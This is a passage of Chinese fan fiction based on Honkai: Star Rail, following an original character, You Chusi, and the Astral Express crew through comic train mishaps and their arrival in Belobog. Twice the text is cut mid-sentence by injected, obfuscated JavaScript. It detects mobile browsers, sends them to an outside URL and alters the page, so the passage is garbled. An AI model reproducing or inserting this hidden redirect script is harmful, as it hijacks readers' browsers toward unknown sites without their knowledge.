习惯性地你来我往吐槽了几句,两人终于想起来派对车厢的目的,星说二楼是杂物间,但是地方超大,有时间收拾出来当卧室,但是今天就只能睡纸箱了。 “纸箱?” “对,纸箱。” “……” 两人对视一会儿,星一下子就垮了脸委屈巴巴道:“纸箱诶,我今天晚上就要睡纸箱了,如果有个好心人能收留我几天……” 说着还把地上放着的纸箱转了一圈,露出上面写的“求收养”三个大字。 有初四:“燕国地图那么长真是难为你了。” 他承认星的手段很迂回,但不行就是不行。 “驳回。”有初四双手比了个叉,“想都别想。” 他很疑惑星的执着,如果是那奇怪的胜负欲不是早就狠狠还击回去了吗? “为什么要坚持和我睡?我的房间里可没有宝箱。” 星双手抱胸歪着头看他:“因为听小三月和丹恒老师说过,小四你一直被一个梦困扰。” 还因为那个梦害怕和人接触的状态进一步恶化了,这怎么行,必须要给小四讨个公道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565308|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 有初四挺感动的:“我的梦境里可没有宝箱和星琼。” 星大惊失色:“你怎么知道的?!” “我用呆毛猜都能想到你要干什么了。” “你什么时候有的呆毛?” 有初四从容地在头发旋上挑了一撮出来搓了搓,成功让那撮头发立了起来。 “现在。” 手动呆毛恐怖如斯,星把头凑了过去:“我也要。” 最终两人的呆毛都坚持不了太久,星叹了口气,虽然昙花一现的呆毛固然十分可惜,但限定那种让人无法永远拥有的感觉才是让人觉得珍贵的理由啊! “呆毛,可是萌点之一啊!”隔壁旅行者都有! 有初四歪头,伸手在星的头顶一口气搓了好几根呆毛出来。 顶着满头呆毛,看起来就是一头乱发的星:“?” 小四不知道你为什么很喜欢呆毛,他只知道这样会让你开心。 “呜……”一道黑黄色的身影猛地扑过去抱住了有初四,没给他躲避的机会使劲摇晃,“小四啊——” 她抬起头,眼神坚定地看着茫然的有初四:“小四,下次up池里有你,放心吧我一定抽到满魂!” 强度不是问题,运气也不是问题,她会使用钞能力! 四星怎么了?就算四星再怎么不值得,她也要坚持推列车组,她相信总有一天,能用列车组的大家打0t! 想起星提到过的,有初四的六魂效果是让抽到上上签的概率变成5%,他顿时面露怜爱,伸手拍拍她的肩膀,什么都没说,却好像什么都说了。 每次实战用有初四只能抽出下下签的星感觉不存在的膝盖中了一箭。 她沉默片刻,伸出双手开始揉搓有初四的脸:“5%也是有希望的啊!总比没满魂前的0.1%有希望的多啊!” 只要她打的够多,总有那么一两次可以抽中上上签的! 星严肃道:“所以为了我幸福的未来,今天就让我去你梦里——” “不行。”有初四面无表情:“想都别想。” 被拒绝之后一脸委屈巴巴的星看起来快碎了,有初四没想到绕了那么多有的没的星居然还是不忘初心。 他露出一个笑容:“你也不想控制感破碎吧?” 丹恒和三月七也曾提过,但都被有初四拒绝了,梦中的小镇过于污染眼球,而且总觉得放除他外的人进去会发生些不好的事情。 三人最终都选择了相信有初四的直觉,目前看来撅撅镇对有初四来说构不成威胁,反而是他在里面肆意妄为。 控制感破碎? 星不解,其中蕴含的能变成马赛克的词汇还不是现在的星核精宝宝可以去探索的。 精神方面的开拓,也需要谨慎啊。 再次被拒绝的老幺缓缓滑进纸箱里,安详地闭上了眼睛。 “现在我只能睡在冰冷的纸箱里了,你开心了吧!你这个冷漠无情的人!” 有初四视线往下移,落到了箱中星那个诡异又完美贴合纸箱的姿势上。 星的眼珠子也往有初四的方向移,两人再次对视许久,空气中沉默蔓延。 “……” “……小四,我卡住了。” “看出来了。”有初四伸手去撕纸箱,结果没撕动。 “?”以他现在的手劲,怎么可能连纸箱都撕不动了。 有初四觉得不对劲,有初四再次尝试,结果手脚并用都没能让纸箱出现一丁点划痕。 “……”他站在原地开始思考。 星恍然大悟:“原来如此,它现在意义上是我的床,你撕它就等于试图撕一张床。” 思考完成的有初四也恍然大悟,他抽出木签自信地笑了:“别怕,区区一张床,看我和它爆了!” 星面露惊恐:“那种事情不要啊!”能瞬间秒杀一只人马虚卒的威力,落她身上别说纸箱了,她说不定也要跟着一起爆! 但有初四怎么可能对着同伴用下下签,不过是嘴嗨罢了,再几次尝试拯救星核精无果后,他把目光放在了房间里的另一个纸箱上。 如果用和星一样的姿势去趟进去,或许就能知道为什么会卡住吧? 天才如有初四行动力超强地拉来一只纸箱,在星不解的疑问中调整姿势,试着把自己塞进去。 然而等他明白为什么会卡住的时候,一切都已经晚了。 有初四和星的体型相近,蜷缩在纸箱里的姿势也相差无几,把自己塞进去后他能清晰地感受到那诡异的贴合,以至于不用外力破开就无法逃离。 “……” 房间中再次安静了下来,两人都心照不宣地没提起刚刚的事,列车的隔音非常好,只能祈祷有人能上二楼发现他们并施以援手。 巧的是,三月七见他们太久没下来就上了二楼,一进门就看见地上两个纸箱里躺着的人。 “太好了是三月七,我们要完蛋了!” “完蛋是什么意思啊!”三月七凑过去查看,在发现只能撕扯纸箱救人时进行了和有初四同样的尝试。 也许是命中注定,又或者是某位星神的恶作剧,即便有星和有初四的惨状在前,三月七也还是不可避免地产生了好奇心。 “你们是怎么进去的?”顺理成章地发出疑问,顺理成章地拉来一个纸箱,又顺理成章地把自己装了进去。 “……” 虽然有初四和三月七拉纸箱到被困的同伴身边的行为过于迷惑,但请相信他们没有什么坏心思,或许是想团建,又或许已经预见了自己的结局,并不想让谁孤身一人蜷缩在冷冰冰的角落里。 “所以,这就是你们三个人都用同一个姿势困在纸箱里的原因吗?” 丹恒无奈扶额,面前被解救出来的三人都挠着头发干笑着,回到会议车厢后被询问了房间看得怎么样了。 星双手叉腰:“房间很好,就是太空了,床不够温暖还容易控我三个回合!” “床?” 储物间哪来的床? “确实有点挤了。”有初四表示赞同。 姬子又转头去看他,你又是怎么知道的? 三月七搓了搓手臂:“真的很硬,而且空间太小了。” 杨叔看看这个又看看那个,问:“你们都试过了吗?” 三人齐齐点头。 “你们睡的是同一张床?” 三人又齐齐摇头,丹恒转身,简直没眼看了。 姬子了然地笑了,看来在他们不知道的时候,小无名客们又自己进行了一次小小的玩闹。 17.五秒记忆的星核精 列车上出现了新的事件,被帕姆拖了地后光洁的地板出现脚印,星房间里神奇消失的零食,据她所说还是非常珍贵的奇巧零食。 影响之恶劣让四人紧急召开了小组会议,在听了缘由后,丹恒了然地点点头,说:“所以为什么非得拉我过来。” 三月七双手叉腰:“我们可是一个小组啊!怎么能把丹恒你排除在外呢?!虽然知道你忙着录入资料,但是现在事态紧急啊!” 星点头赞同:“事态紧急!” 丹恒看见了慢慢走来的帕姆,经过他们的时候眼神在他们身上扫了一圈,然后又消沉地走了。 他也深以为然地点头:“的确事态紧急。” 有初四看了一圈,觉得自己这样可能有点不合群,于是也跟着点头:“事态紧急!” 这下只剩下三月七一个人没点头了,她愣了一下,一个后仰,“你们是什么点头机器吗?” “比起点头机器,复读机应该更合适!”有初四反驳。 的确,点头只有三个人做了,可“事态紧急”这四个字可是四个人都说了一遍啊! “这个好像不是重点吧?”旁边坐着的瓦尔·特放下了手机。 捧着书本的姬子笑了笑,仿佛看见了一堆小动物挤在一起说话,“只是一些毛茸茸的小问题。” 并不知道自己被动物塑的四人一脸的严肃,首先是地板被弄脏事件,三月七手肘撑在桌面上,手指交叉作深沉状。 “据帕姆所说,事发当天是晚上,可以确定我们都睡着了,帕姆在收拾完车厢后准备关门时,回头发现了地板上被踩了一双脚印,奇怪的是周围都非常干净,这双凭空出现的脚印就像是什么人悄无声息地飞过来站在帕姆身后,然后又脚不沾地地飞走了。” 丹恒疑惑:“这只是地板被弄脏事件吗?已经是灵异事件了吧。” “哎呀差不多啦,总之帕姆被吓得够呛,今天早上还瑟瑟发抖地和星说了这件事,难道列车上有鬼?”三月七已经开始害怕了,而坐着的有初四慢慢举起手。 “啊这件事。”他尴尬地笑了笑,“大概是我的错。” “……” “原来是小四吗?!”三月七一脸震惊,还有点害怕地往星身后躲了躲,天知道在听到他们描述过程的时候她有多害怕。 “当时只是又做了噩梦睡不着,帕姆的活力精神百倍饮料效果很好,我就想让他帮忙再做一次,但那么晚了麻烦帕姆好像不太好,而且看起来像是刚忙完的样子,我站在他背后纠结了一下又回去了。” 三月七:“脚印原来是停留的时候留下的,我知道小四的脚步非常轻,但是居然轻到这种地步吗?” “是什么样的噩梦?”丹恒还记得他上次做噩梦被惊醒无法入睡时憔悴的样子,按有初四的说法,很可能是同一个。 有初四组织了一下语言,不知道该怎么向同伴们描述梦中的群魔乱舞,只好浓缩成一句话,“就是,被抓住了就会被【哔——】的噩梦。” 幸好他逃跑速度快,而且没有向上次那样,贸然想出小镇然后被硬控,这次他老老实实地在梦里上演了大逃杀,不然就是十八禁的剧本了……虽然一路上碰见过的□□也不少。 很显然,被消音的部分没人能猜对那是什么,思想单纯的年轻人们开始担忧同伴的睡眠质量——才怪!现场包括满打满算都不足一岁的星,谁都知道这个消音代表着什么,平常听到的血腥场面都没能被屏蔽,那说明只有另外一种可能了,毕竟这可是12+游戏啊! “之所以说帕姆的特制活力精神百倍饮料管用,是因为他能让我在梦里变成超级肌肉男然后乱杀!”有初四至今忘不了那种一拳一个的快感,简直好极了! 丹恒微微垂眼,回想起那天扶有初四回房间的时候,他嘟囔的“都给我死”,这也变相说明了有初四梦中的事情得借助外物才能解决。 于是在和帕姆解释完后,有初四得到了一柜子的精神百倍饮料,帕姆特制,没有保质期! “那现在只剩星的零食丢失问题了。”解决了一个问题的三月七神清气爽,严肃脸示意星说一下事情经过。 “咳咳,事情是这样的,昨晚出门锄地之后,再回房间我发现我的奇巧零食丢失了,高达四袋!” 不远处坐着的瓦尔·特立刻抬头:“高达?什么高达,在哪里!” “不是那个高达啦……” “等等,昨晚你下车了?我怎么不知道?”三月七去看一向是最晚睡的丹恒,他摇头表示没听到任何动静。 而丹恒指出了更异常的问题,“比起这个,昨天列车并没有停靠,你这是下的哪门子车?” “啊。”星挠头,有些不懂他为什么会注意到这个,能随时随地在已经开了的地图往返不是很正常吗? “我去了空间站,你们没发现,是因为我是在你们睡着之后去的。” 这话怎么听着狗狗祟祟的? “也就是说,奇巧零食长腿跑了?” 星果断摇头:“不可能,要真有那么神奇,备注不可能没写!” 她双眼眯起,眼上不知何时出现的眼镜反光,遮住了她的眼神,“真相只有一个,那就是,列车上有幽灵!” 她可是在昨天就帮帕姆解决了一场灵异事件的人啊!虽然昨晚是个乌龙,但一切迹象表明,幽灵确实存在! 有初四打了个哆嗦,一下就来劲了,他站起双手一拍桌子:“异议!” “有幽灵我不可能没发现!”他对自己的应激程度可是很自信的,要是有不认识的人或鬼靠近,他百分百会有反应! 三月七也点头表示,有初四牌感应器,百试百灵!按照他在列车走动的频繁程度,真有什么幽灵有初四肯定第一个发现。 “有没有可能,是你自己吃了却忘了。”丹恒说的有道理,但星只是稍加思索又否定了,说带走的零食和放在房间里的零食是分开的。 “分开?我记得星你的东西不都是放背包里的吗?” 此话一出,星脸上的眼镜镜片一下就碎了,有初四看她呆滞的表情,就知道她根本没把背包和房间分开。 事情终于真相大白了,星抱着被揉了好几次的脑袋百思不得其解,怎么能精神恍惚到把背包和房间弄混在一起了呢? 她晃悠着走到了正盯着手里那杯咖啡的有初四身边,伸出手去摸他的头顶,她目前能欺负的人就只有这一个了,眼神继而转向有初四犹豫不决的咖啡。 “这是?” “姬子冲的咖啡。”三月七回房间去洗照片,丹恒也回智库继续忙了,剩下落单的有初四很无聊,恰好就瞧见了姬子正在冲泡咖啡,他盯着缓慢流动的固体很是好奇,于是就也问了一杯想尝尝,可从他说出想要尝试咖啡的时候,瓦尔·特就一直拿看勇士的眼神看他,这让他有点犹豫了。 这咖啡闻起来正常,但有种不好的预感,他迟迟不敢下口。 没尝过咖啡的小星核精却跃跃欲试,于是有初四把咖啡递过去给她尝了尝。 “怎么样?” 液体,不,应该是固体,仿佛五彩斑斓的颜色在嘴里炸开顺着喉咙流下,星的五官都麻木了,她嘴唇蠕动颤抖着,手指离开杯子退后了一步,一片寂静中,她嘴角流出褐色的液体,竖起了一个大拇指。 她说:“好喝。” 随后两眼一闭砰的一声倒下。 有初四因为手里端着咖啡所以没来得及去扶她,就见星倒在地板上,表情非常的安详,嘴角的褐色液体让他一瞬间看成了红色,有初四打了个寒战。 看见这一幕的瓦尔·特和姬子刚想过来,原本安详倒地的星却诈尸一样突然窜起来,把几人都吓了一跳。 星眼神涣散地抹掉了嘴角的咖啡,盯着有初四手里的杯子,问:“这是什么?” 有初四低头看了一眼,不确定道:“咖啡?” 一双戴着黑色手套的手突然闯进视线,拿走了他手上这杯咖啡。 星:“我尝一口。” 说完不顾阻拦猛喝了一大口,然后身体一僵,坚持着把杯子放到有初四手上后,嘴角流出咖啡竖起大拇指,说了句“好喝”然后原地去世。 不等他反应过来,星又诈尸爬起来,擦掉嘴角的咖啡盯着他手上的杯子:“这是什么?” 有初四:……似曾相识的一幕。 这回不等有初四回答,星就抢先拿走并再次猛喝一口,紧接着说了句好喝后安详闭眼。 同样的话,同样的嘴角流咖啡,同样的姿势,要不是杯子里的咖啡在减少,有初四都要开始怀疑自己是不是在重复轮回这一段了。 这是什么,咖啡能侵蚀人的记忆吗? 看呆的不仅有初四,还有瓦尔·特和姬子,他们眼睁睁看着重复同一动作和话的星在一次次倒下再站起后,成功把那杯咖啡喝光了。 等星再一次爬起后,她迷茫地问:“你们怎么这么看着我?” 看起来人完全没事,还忘了自己遭遇了什么,精神方面的伤害也不会有,真是可喜可贺。 三月七:“记忆都没了这不像是没事的样子吧!” 而当事人表示自己身上没有任何debuff,作为星核载体也不存在内里受伤又不自知的可能,有初四不禁感叹星核果然厉害。 在无聊之中,星曾经找过有初四,问他列车上有没有别的项目,能拿星琼的那种,有初四稍加思索,从犄角旮旯里掏出了一本书。 “书本里有很多故事能玩,我是被别人剧透了个遍觉得没意思了,你应该会感兴趣。” 有初四相信其中狗血且令人忍不住吐槽的故事,足够让星玩一阵子了。 照例过了剧情,星就立刻进了书本,然而一进去她就愣住了。 寒风拂过,在她眼前是碎裂的大地,里面的深不见底的深渊,崩塌的雪山滚落,一只无形的大手兜起,试图把碎开的山体重新拼回去。 星看着壮观的场面,惊讶地张大了嘴巴。 似乎是察觉到了有人进来,空气瞬间凝滞,一道声音在天上响起,恶狠狠地说:“你是谁?” 星毫不犹豫地回答:“我是正义,我是光明,我是银河球棒侠!” 书用封面想都知道,这人肯定和把这里弄得一片狼藉的小子有联系,那小子揣起他就跑的行为他可是看得清清楚楚,可是他作为一个不能行动的物品丝毫没有反抗能力,带走也就算了,把他塞在犄角旮旯不见天日,现在又突然把他翻出来,有事就书本没事就那奇物的,他究竟把自己当什么了?! 书本咬牙切齿,一字一句地说:“滚,出,我,的,地,盘!” 直到被踢出书本的时候,星都没能理解发生了什么,怎么就突然发火了? 这时候她收到提示。 【书本似乎不欢迎你的到来,战斗或许是一个好的解决方法。】 星恍然大悟,拿出了棒球棍进入战斗。 “来,我给你吃好吃的星尘王牌!” 两天后,三月七看见星从书里钻出来,还提了一袋子的星琼,她问有初四:“书本已经变正常了吗?” “星以理服书了。” 三月七挠头:“什么理,棒球棍吗?” 有初四恍然大悟,有初四若有所思。 他不知道,在后来,他理直气壮地说出“我的签就是道,我的签就是理!”的时候,星满脸的孺子可教。 经过一段时间的玩乐后,有初四得知了下一个目的地——贝洛伯格。 那是一颗白茫茫的星球,和智库中所记载的天差地别,而意外也出现了,星轨异常由七天变成了无限期,直至异常消失,而根源正是万界之癌——星核。 这次的开拓之旅姬子和杨叔留守列车,由有初四,丹恒,三月七和星一起行动,在即将下车的时候,帕姆叫住了有初四,手里抱着一瓶绿色的液体。 “有初四乘客的噩梦太危险了,带上精神百倍饮料吧。” 有初四感动地接下,踏上了新的旅途。 …… 风雪交加,一眼望过去全是白茫茫的一片,有初四曾在雪山中沉睡了一段时间,对寒冷的天气接受良好。 在星询问为什么不直接降落到目的地时,有初四侧身,悄悄摸出一支签。 有星编队兜底,就算抽出下下签也不会给队友上debuff,虽然上次抽出来的下下签阵仗好像变大了,但第一时间给自己制造点小伤口就能消停,而且随着恢复力逐渐变强,这点伤口一下子就能好,于是有初四的抽签行为变得更加肆无忌惮。 指缝间慢慢露出的木制签子,铃铛响声引起了正在交谈中三人的注意力。 丹恒忍不住扶额:“他还是忘不了他的抽签。” 刚刚还遮遮掩掩的有初四一下子转过身,面露喜色。 “我中啦,我中啦!” 手上的木签,赫然写着中平二字。 三月七和丹恒感叹:“真不容易啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570865|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”这还是有初四第一次抽中下下签以外的签,真是个重大突破啊。 星第一时间回去有初四的技能描述里扒拉了一下。 【秘技】中平签:进入战斗后使我方全体生命值回复10%,攻击力提高10%。 光有10%的攻击力加成是不太够看的,但有初四的额外能力,【振奋】抽到上上签,上吉签,中平签时,使我方全体攻击力额外提高20%。 加起来也就是30%的攻击力加成! 有初四从孤身一人到被编入队伍,只用了一支签的时间。 星作为一个典型的非洲玩家,她是清楚有初四这种纯看运气的角色有多不合适她的,不管是普攻还是战技都是随机指定一个人,大招更是抽中下下签就可以重打,充满了不确定性,但人,总是不信邪的,也总会对自己的运气抱有一点希望,所以…… “看见前面那个裂届造物了吗,去,给它一巴掌!” 虽然不是很理解星为什么热衷于这种攻击方式,但几人还是配合着把周围的裂届造物全干掉了,而星自信满满地进入战斗,灰头土脸地出来。 她无力地晃着有初四的肩膀,问他为什么抽的全是下下签,她重开了五次,整整五次啊! 星试图寻找有初四是不是有什么提高下下签出的概率的天赋,没有,甚至他还有阵营加成,【同类】队伍中每有一个星穹列车阵营的队友时,有初四抽到上上签的概率提升5%,而队里有三名阵营队友,加上天赋本身给的,抽到上上签的概率就是20%,这说明了一件事,重开五次的星一次没中完全正常。 看着被打击到变成灰色的同伴,有初四犹豫道:“这个概率抽不到很正常啦,丹恒运气好像比较好……” 星立刻转头去求丹恒分点欧气给她,丹恒被亮晶晶的眼神盯着,一脸无奈,“我运气比较好吗?” “毕竟是目前唯一一个抽到上吉签的人啊。” 前往目的地的路上,还遇到了一个雪包,光是靠近就能听到里面冷到打颤的声音,被指出后还不出声了。 “就算现在声音没了,之前你吸气的声音可是谁都听到了啊……” “对付掩耳盗铃的人,最好的办法就是——” 丹恒走上前,非常干脆地拿出击云,一枪戳进了雪堆里。 “把铃铛砸在他头上!” 藏在雪包里的人成功被戳出来了,蓝色头发的男子揉着屁股一脸委屈,“有话好好说嘛各位,不至于一上来就拿枪捅我吧?” 他眼睛一转,看到了站在最后面的有初四,瞬时表情一变,惊喜地凑过去。 “这不是有大老板嘛?好久不见,好久不见啊!” 蓝色头发的男子一脸的谄媚,话语也是相当熟稔,然而有初四并不认识他,见他靠过来一脸抗拒地往后躲了躲。 “有大老板?”男子愣了一下,随后像是被他这一躲伤透了心,连忙道:“诶看我,刚刚没听出来,早知道是您我就不躲了,这一枪戳的好,戳的好啊!” “……我不认识你。”有初四招架不来这种性格的陌生人,光是靠近就有种莫名的恶寒,他警惕地躲在丹恒身后,只露出半个头。 “不认得了?我是桑博啊,您最好的合作伙伴!这才没几个月你就忘了?”桑博的眼神在他探出的半个脑袋上扫视,似乎在探究些什么,见有初四脸上的陌生不似作假,他眼睛一转,笑了笑。 “那就重新认识一下吧,桑博·科斯基,幸会。” 后面两个字他是对着另外三人说的,在互相交换了名字后,桑博表示这冰天雪地的居然还能遇见熟人,虽然这个熟人看上去并不记得他…… “你说几个月前我们见过?”之前的艾丝妲只是和他有种熟悉感,面前这人是和他有直接接触的,看起来关系好像还不错。 “是啊,那是令人印象深刻的一场大买卖。”桑博回忆起那时的场景,左眼瞳孔已经变成了心形的青年一把握住了他的手,脸色难看地说“成交”,在他试图临阵脱逃的时候,还毫不犹豫地用木签抵着他脖子,威胁道“我这签可是有毒的”。 再看看现在的他,眼里的爱心没了,脖子上的挂饰也消失不见,以他的性格,很少会有把别人送给他的东西摘下的时候,再加上有初四完全陌生的眼神,也就是说…… 这是个还没进化成□□爱威胁人版,还对他不了解的有初四! 桑博暗暗松了一口气,明白面前这位虽然嫩,但终究不是个好糊弄的主,要是想说谎保准会被发现,这次的交谈,出乎意料的有难度啊。 但优势在他,他熟悉有初四,但对现在的有初四来说,他桑博是一个完全陌生的人,那能引导的东西就很多了。 有初四不知道桑博抱着什么想法,他只是依旧警惕,和对待以往的陌生人那样,但这个人……他有点猜不透。 作为列车组的雷达担当,有初四在扫描谎言时堪称一绝,有人说谎他立刻就能看得出来,桑博目前来讲说的都是实话,对他也是持友好态度。 “相逢即是缘呐有老板!要一起搭个伙吗?我们上次的合作非常顺利,既然你给忘了,也正好联络一下感情啊!” 有初四还在思索桑博口中的“合作”令他感到在意,商人无利不起早,他能和自己达成什么合作? 见他们是真的不了解贝洛伯格,桑博看了一眼状况外的有初四,笑了笑:“看在有大老板的面子上,有什么不懂的就尽管问我,别客气!” “你为什么躲雪堆里?” 居然是先问这个吗? 桑博挠头叹气:“还不是为了躲你们,银鬃铁卫又在附近,那么大动静把我吓了一跳。” “为什么躲着银鬃铁卫啊?” “呃,就是私藏了点古代遗物而已,那些执行公务的都一根筋,其实没什么大不了的。” 星了然点头:“原来是走私的。” 桑博一噎,悻悻地笑了一声岔开话题,表示自己作为前辈可以稍微指导一下他们。 三月七:“这倒不必了,你把我们带进城吧?我们对路不大熟。” “这就回去了?我还没开张呢妹妹,带个路是小意思,今儿个遇上熟人了倒也不收费,跟我来吧朋友们。” 全程没有一句谎话,难道这人真如他所说是个善良热心肠的好人? 有初四觉得不太像,这人是一眼就能看出来的油头,听他说的话,好像还是道上混的? 其行事,应该别有目的。 18.无论是贫穷还是富有 一路上,桑博都在说干他们这行的守则,第十七条就是不能留下脚印。 “我有一条独门绝技,那就是踏雪无痕,可以说是摆脱追兵的绝佳手段!” 正在有一搭没一搭听着的几人齐齐朝有初四看去,桑博察觉到异样回过头,也明白了什么恍然道:“哎呀差点忘了,有老板比我经验足,老桑博这不是班门弄斧了……” 在交谈中很少说话的有初四主动开口,“别叫我老板了,你也不用这么说话,我只是占了体重轻的便宜。”他这个称呼总让他觉得自己是什么万恶的资本家。 桑博看起来对以前的他有些畏惧,一直表现出来的也是谄媚和讨好,但这些情绪都太过表层,一时间不知道自己和他的关系到底是好还是不好了。 蓝发的男子笑了笑,“不愧是初四,既然这样我也不多说了。” 虽然让你不要叫老板,但是直接叫名字你也太理所应当了吧? 可惜一行人还没到城里,就遇上了意外。 “那是,银鬃铁卫!”桑博瑟瑟发抖,“朋友们帮帮忙,我不想被抓住!” 而手持武器的银鬃铁卫看见和桑博站在一起的他们,摆出了攻击姿势。 “发现嫌疑人和他的同伙,立即逮捕!” 三月七、丹恒:“……”怎么觉得这一幕有点似曾相识? 法塔莫日甘的时候就有被误认为同伙的经历,不过不一样的是埃洛克的谎言一开始就被揭穿了,而桑博……看来他说的私藏古代遗物应该挺严重的。 见一行人打起来了,桑博悄悄后退几步想溜,才转过身就被一根木签抵在了脖子上。 有初四抬头看他:“你想去哪里?” 诶哟我的祖宗啊,怎么哪都有你!记得你不是很喜欢打架吗?总不能开拓着爱好都变了吧! 桑博梗着脖子咬咬牙,一指后面:“哎呀,那个叫三月七的小妹妹被打到了!” 深知面前这人关心则乱的性格,桑博趁他一晃神就退开到了安全距离,然后迅速离去。 逃跑的人并不能让有初四抛弃正在战斗中的同伴追上去,他上前拉住三月七避开了朝她打来的枪。 有初四,加入战斗! 看见队列中重新填补上的空缺,星松了一口气,其实有初四并不好用,普攻是随机给一个敌人上debuff,战技是随机拉一个队友加双爆和速度,大招也是随机抽签,总的来说完全是看运气的角色,不过只要运气好就很超模,让人怀疑真的是御三家该有的强度? 不巧的是,星是典型的非洲玩家,所以超模完全感觉不到。 在打败士兵后事情并没有结束,仅凭一只手就接住了三月七攻击的男人,提着一面笨重的盾牌缓缓走出,金发碧眼的戍卫官堂堂登场! 有初四:“这就是打了小的来了大的吗?” 星茫然转头:“这句话不是这么用的吧?” “但是士兵,职位小,戍卫官,职位一听就比他们大,这不就是打了小的来了大的吗?” 三月七没忍住转头加入对话:“好像很合理啊!” 被晾在一边的杰帕德:“……” “我,杰帕德·朗道,银鬃铁卫戍卫官,命令尔等放弃无谓的——”眼睛望进同样的蓝色中,杰帕德心口一跳,他瞪大了双眼,停下了到嘴边的“抵抗”二字。 三月七瞅着有些不对劲,手肘碰碰有初四的手臂,悄声问:“难不成这也是你的熟人?” 不知道啊…… 有初四觉得以前的自己社交能力恐怖至极,空间站的站长,贝洛伯格的神秘商人,还有贝洛伯格的戍卫官他都认识! 不要告诉他贝洛伯格的掌权者也是他的熟人…… 有初四试图在那双盯着他的眼睛中找出什么,比如怀念还是亲近之类的?不怪有初四这么想,毕竟空间站那群人都是这种态度。 但杰帕德只是失神了一小会儿后就恢复了面无表情的工作状态,忠心耿耿的戍卫官铁面无私。 “放弃无谓的抵抗!” “又被当成罪犯了啊……”三月七熟练地摆出了战斗姿态,虽然已经有过这种经历了,但果然还是—— “很火大啊!” 星扑捉到关键词,“又?” 难道说在开拓之旅中,被当成罪犯不是第一次吗? “好惨。” 丹恒看她一眼:“你也是我们之中的一员。” 有初四莫名被戳中笑点,脸上严肃不起来了,“那不是更惨了?” 插科打诨到此为止,名叫杰帕德的长官双手拿着厚重的盾牌轻巧地跳起,嘴里喊着“以存护之名”重重地砸下来。 “痛死了!”因为有初四的天赋【耐打王】,所以星让三月七的盾优先给了丹恒,已经因为嘲讽被打很多次,又脸接盾牌被砸到血条变红的有初四痛呼出声,眼泪瞬间决堤,泪流满面。 什么怀念什么熟人,都是假的吧,拿盾牌砸人脸上就是对待熟人的方式吗?! 星好奇侧目,看着脸上湿漉漉却面无表情的有初四,原来受击语音是这个啊,而且残血以后居然有特殊表现。 剧情杀不可避免的出现了,四人都木然地看着杰帕德和士兵交流,说主犯跑不了太远。 在辩解之后,杰帕德说道:“身为贝洛伯格的市民,你们拥有辩护的权力,但不是现在。” “但我们不是贝洛伯格的人啊!” 星双手展开直接展示身旁的有初四,并盯着杰帕德的眼睛语气七上八下地说道:“戍卫官大人,摸摸你自己的良心说,你真的觉得他是贝洛伯格人吗?” 杰帕德:“……” 杰帕德沉默了。 士兵:“……?大人你说句话啊!” 在他们交谈之际,四人也对这次的出师不利开始讨论,丹恒认为贝洛伯格既然是这颗星球上人类最后的防线,那也无处可去了,现在唯一的办法就是进城,这种情况下和官兵有所冲突显然不是好事。 另外的三人都明白这个道理,显然桑博这一手成功让他们犯难了——这是不可能的。 有初四手指翻飞,被挑飞在空中转了好几圈的木签重新被夹回指尖,他脸上的表情是前所未有的自信。 “中平签,寓意为风平浪静。” 他骄傲地抬头:“可别小瞧我的签啊!” 星:“……好中二啊。” 三月七:“真的假的?” 有初四失望道:“太破坏气氛了吧,给我夸奖啊。” “好好好,没得说是真的很帅啦!”那个极具攻击性的表情也是真好看,就差直接说在座的各位都是乐色了,三月七后悔刚刚没有抓拍。 星身体一震,觉得自己不能认输,于是便清了清嗓子,大声说道:“咳咳,有初四是一位魁梧男子,身形高大强壮,双臂有力,步履稳健,结实的双腿,纠结的膀臂,隆起的健壮胸肌,低沉的嗓音,宽圆的肩膀,高挺的胸脯,结实得像钢桩铁柱一般,浓眉大眼,肩膀宽阔,身材高大,真是人间太岁神,好一个能让无名客们依偎的宽大肩膀!” “……” “……” 死一般的寂静,连刚刚还在交谈的杰帕德和士兵也沉默地看着星。 星:“怎么了,是我说的不够好吗?”委屈巴巴的小无名客瞬间激活了愣住的有初四。 他犹豫地搓了下手指,似乎是在组织措辞,比如现在该怎么说才能挽救同伴即将痛哭的心灵。 半响,他才说道:“很好,很有精神。” 星面无表情:“……给我好好夸奖啊。” 似曾相识的一幕,让人不禁感叹同一辆列车上出不了两种人。 三月七:“喂!这是把咱一起说进去了吧!” “……外来者们,跟我来吧。”杰帕德转过身道,雪幕之后,正是贝洛伯格。 进入主城后,三月七感受了一下:“好像没那么冷了诶。” 有初四侧目:“原来你一直都觉得冷吗?可是你看起来对在冰天雪地里穿裙子适应良好。” 三月七:“适应好和免疫寒冷是两码事吧!”她双手叉腰,转向同样穿着裙子的星寻求认同。 星则是也投来疑惑的目光,很认真地询问:“三月七你的六相冰听上去就很冷,居然会觉得冷吗?” “……都说了,能力和能不能感知寒冷是两码事啊!” 士兵对四人的不以为意有些不满,特别是杰帕德还在诉说有关贝洛伯格的历史时,他们居然还在拌嘴?! 被他们抓到的时候在拌嘴,过来的路上也拌嘴,现在还在拌嘴,你们就那么热衷于拆对方的台吗?停一停又会怎么样啊?! 丹恒主动解释:“不是环境的问题,他们以前也这样。” 他什么时候提过和环境有关了?!看这小伙子一脸认真严肃的样子还以为是正经人,结果也是个张口就来的家伙,这群人到底是怎么回事啊?! 